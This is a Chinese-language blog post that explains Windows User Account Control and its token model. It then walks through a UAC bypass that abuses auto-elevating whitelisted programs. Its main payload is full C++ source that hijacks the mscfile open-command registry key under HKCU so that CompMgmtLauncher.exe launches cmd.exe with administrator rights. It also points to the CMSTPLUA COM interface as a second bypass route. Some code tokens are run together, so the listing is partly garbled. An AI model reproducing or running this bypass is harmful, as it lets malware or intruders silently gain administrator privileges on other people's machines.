posted at 2023.11.5 16:50 by 风信子
用户账户控制(User Account Control,UAC)是Microsoft在Windows Vista及更高版本操作系统中采用的一种安全控制机制,它要求用户在执行可能会影响计算机运行的操作或执行更改其他用户设置的操作以前,提供权限或管理员密码,以防止恶意软件在未经许可的情况下在计算机上进行安装或对计算机进行更改。简单地说,就是在运行某些软件的时候,要求用户进行授权才能运行它。
在Windows系统中用户账户按组划分,每个组可以有多个成员用户,例如:
Administrations组
Administrator
管理员用户
User组
标准用户
安装Windows操作系统时,会要求我们输入一个管理员用户名称。
当用户登录到计算机时,系统会为用户创建访问令牌,访问令牌包含授予用户的访问级别的信息,包括安全标识符(SID)和Windows权限,在默认情况下,标准用户和管理员用户都是以标准用户的访问令牌访问资源并运行应用程序。
用户登录后,系统会为用户创建两个访问令牌:标准用户访问令牌和管理员访问令牌,然后系统使用标准用户访问令牌显示桌面(Explorer.exe),Explorer.exe作为父进程,用户启动的其它所有进程都将从该父进程继承访问令牌。除非用户运行需要管理员批准应用程序使用管理员令牌,否则所有应用程序均以标准用户访问令牌运行。当用户运行需要管理员访问令牌的应用程序时,系统会自动提示用户进行批准,该提示称为提权提示。
UAC需要授权的动作包括:配置Windows Update、增加或删除用户账户、改变用户账户的类型、改变UAC设置、安装ActiveX、安装或移除程序、安装设备驱动程序、设置家长控制、文件移动到Program Files或Windows目录、查看其他用户文件夹等。
触发UAC时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递经appinfo的RAiluanchAdminProcess函数,该函数决定是否弹出UAC窗口让用户确认。这个窗口会创建新的安全桌面,屏蔽之前的界面。同时这个UAC窗口进程是系统权限进程,其他普通进程无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员身份启动请求的进程。
绕过UAC提权提示即UAC弹窗以管理员权限运行程序,应该说是安全攻防方都必须掌握的一项技术,方法有很多,但是很多方法在Windows系统中已经失效。目前实现Bypass UAC主要有两种方法:一种是利用白名单提权机制,另一种是利用COM组件接口技术。
下面介绍基于白名单程序的Bypass UAC
有些系统程序是直接获取管理员权限,而不触发UAC弹框的,这类程序称为白名单程序。例如,slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLaucher.exe等。这些白名单可以通过DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作。
接下来,利用白名单程序CompMgmtLauncher.exe,Bypass UAC提权的原理是,程序自己创建并添加注册表HKCU\Software\Classes\mscfile\shell\open\command\(Default),并写入自定义的程序路径。接着运行CompMgmtLauncher.exe程序,完成提权操作。
具体实现代码(C++):
#include"stdafx.h"#include<Windows.h>void ShowError(char *pszText){ char szErr[MAX_PATH] = { 0 }; ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError()); #ifdef_DEBUG ::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR); #endif} // 修改注册表BOOL SetReg(char *lpszExePath){ HKEY hKey = NULL; // 创建项 ::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL); if (NULL == hKey) { ShowError("RegCreateKeyEx"); returnFALSE; } // 设置键值 ::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + ::lstrlen(lpszExePath))); // 关闭注册表 ::RegCloseKey(hKey); returnTRUE;}int_tmain(intargc, _TCHAR* argv[]){ BOOL bRet = FALSE; PVOID OldValue = NULL; // 关闭文件重定位 ::Wow64DisableWow64FsRedirection(&OldValue); // 修改注册表 bRet = SetReg("C:\\Windows\\System32\\cmd.exe"); if (bRet) { // 运行 CompMgmtLauncher.exe system("CompMgmtLauncher.exe"); printf("Run OK!\n"); } else { printf("Run ERROR!\n"); } // 恢复文件重定位 ::Wow64RevertWow64FsRedirection(OldValue); system("pause"); return 0;}
效果图:
运行程序,向HKCU\Software\Classes\mscfile\shell\open\command\(Default)中写入cmd.exe路径,cmd.exe成功启动。
至于基于COM组件接口的Bypass UAC,该技术允许应用程序以提升的权限激活COM类,然后可以调用CMSTPLUA组件中的ICMLuaUtil接口的ShellExec方法执行任何程序。要以管理员权限激活COM类,可以使用自定义函数CoCreateInstanceAsAdmin,该函数在MSDN中提供。
b9a40e7c-6a8a-476e-be23-6472cfe6b4ae|0|.0|96d5b379-7e1d-4dac-a6ba-1e50db561b04
Tags: app, 程序, 代码, 方法, 接口, 类, 密码, 软件
IT技术 | 防控BUG